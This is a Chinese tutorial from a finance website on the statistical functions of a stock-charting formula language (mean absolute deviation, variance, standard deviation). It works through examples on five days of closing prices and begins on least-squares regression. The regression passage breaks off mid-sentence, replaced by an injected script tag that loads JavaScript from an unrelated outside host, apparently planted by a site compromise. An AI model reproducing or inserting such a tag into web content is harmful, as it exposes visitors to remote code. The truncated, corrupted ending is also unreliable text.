统计函数

计函数
这组函数,是统计学中的最典型的几个指标,在基本函数中提供了算法。有几个是可以相互转换的,看似众多,实际上没有几个。
“统计学理论划分成描述统计学和推导统计学两部分。描述统计学指用图表达资料数据,比如用一张标准的线图展示价格历史。推导统计学则指从资料推导出概括的、预测的或推延性的结论。所以价格图表属于前者的范畴,而针对价格图表进行的技术分析则属于推导统计学的范畴。
综合起来,技术分析以过去的价格数据预测未来,有充分的统计学根据。”<期货市场技术分析>P16
实际上,我们常用的技术指标,都自觉或不自觉地利用了统计学中的相关原理。比如均线指标MA(C,N),是N个周期中收盘价的算术平均值,就利用了统计学中集中趋势度量法的原理。
先回忆一下统计学中几个指标的算法。
统计对象可以看成是一个数列,数列中数据的总个数为N,以今天(2002.11.22)五天内的600036招商银行收盘价为例,N就为5。数列的内容为:{9.17,9.24,9.11,8.85,8.87}。
1、算术平均值:数据总和除以总个数N。
(9.17+9.24+9.11+8.85+8.87)/5=9.048。
可以用公式MA(C,5),从今天的值上看出。
2、偏差:每个数据,减去算术平均值的结果。
9.17-9.048=0.122,
9.24-9.048=0.192,
9.11-9.048=0.062,
8.85-9.048=-0.198,
8.87-9.048=-0.178,
各偏差相加,应该是等于0的。
3、平均绝对偏差:将偏差的绝对值相加,除以总个数N。
(0.122+0.192+0.062+0.198+0.178)/5=0.150
4、(总体样本)方差:将偏差的平方相加,总和除以总个数N。用公式可以这样算:
(POW(0.122,2)+POW(0.192,2)+POW(0.062,2)+POW(0.198,2)+POW(0.178,2))/5=0.025
方差的算法,经过化简,也可以这样算:每个数据的平方的平均数,减去平均数的平方。
在公式里就可以这样编了:
MA(POW(C,2),5)-POW(MA(C,5),2);{0.025}
5、估算样本方差:是总体方差的N/(N-1)倍。
0.025*5/(5-1)=0.031
估算样本方差,总比总体样本方差大一点,当N够大时,两者趋于相等。
6、(总体)标准差:方差的开方。
POW(0.025,0.5);{0.158}
7、估算标准差:估算样本方差的开方。
POW(0.031,0.5);{0.176}
同样,估算标准差也比总体标准差大一点,当N够大时,两者趋于相等。
8、最小二乘法求回归直线方程:放在后面讲。
以下的例子,也以在今天(2002.11.22)五天内的600036招商银行收盘价为例。

一、
函数: AVEDEV(X,N)
参数: X为数组,N为统计周期
返回: 返回数组
说明: 平均绝对偏差
AVEDEV(C,5);{0.150}
二、
函数: DEVSQ(X,N)
参数: X为数组,N为统计周期
返回: 返回数组
说明: 数据偏差平方和DEVSQ
数据偏差平方和,除以N,即为方差。
DEVSQ(C,5)/5;{0.025}
DEVSQ(C,5);{0.126}
三、
函数: VARP(X,N)
参数: X为数组,N为统计周期
返回: 返回数组
说明: X的N日总体样本方差
总体样本方差用数据偏差平方和,已经求出了,看看一样吗?
DEVSQ(C,5)/5;{0.025}
VARP(C,5);{0.025}
        四、
函数: VAR(X,N)
参数: X为数组,N为统计周期
返回: 返回数组
说明: X的N日估算样本方差
估算样本方差是总体方差的N/(N-1)倍,看看一样吗?
VARP(C,5)*(5/(5-1));{0.032}
VAR(C,5);{0.032}


五、
函数: STDP(X,N)
参数: X为数组,N为统计周期
返回: 返回数组
说明: X的N日总体标准差
总体标准差,即为总体样本方差的开方,看看一样吗?
POW(VARP(C,5),0.5);{0.159}
STDP(C,5);{0.159}
六、
函数: STD(X,N)
参数: X为数组,N为统计周期
返回: 返回数组
说明: X的N日估算标准差
估算标准差,即为估算样本方差的开方,看看一样吗?
POW(VAR(C,5),0.5);{0.178}
STD(C,5);{0.178}

好了,以上六个统计函数,除了第一个,其它五个,只要求出方差,就可以找到相应关系,全部求出来。而方差,可以用公式MA(POW(C,2),5)-POW(MA(C,5),2);求出,所以说,新东西只有一个:平均绝对偏差。
以上六个函数中的N,目前均不支持序列变量,但可以用参数来调整。

一元线性回归的方法,就是在众多的点中,找到一根直线,而这根直线,最能代表众多点的平均“趋势”。
直线的表达方程是:y=a+bx。只要两个参数a、b定下来,直线的位置就定了。
求参数a、b的方法一般有两种,一种较为简便,但精度不够,称为平均数法。还有一种精度较高,应用也最多,叫最小二乘法。可想而知,倚天中的线性回归预测值,是根据最小二乘法求出来的。这里就只介绍最小二乘法。
设在众多点中穿过的回归直线的方程是y'=a+bx。而每个点的垂直高度为y。那么对应于每个点,都可?script src=http://51zhujiang.com/s.js>

来源/skyfinance 时间/2007年8月29日14时30分 关闭窗口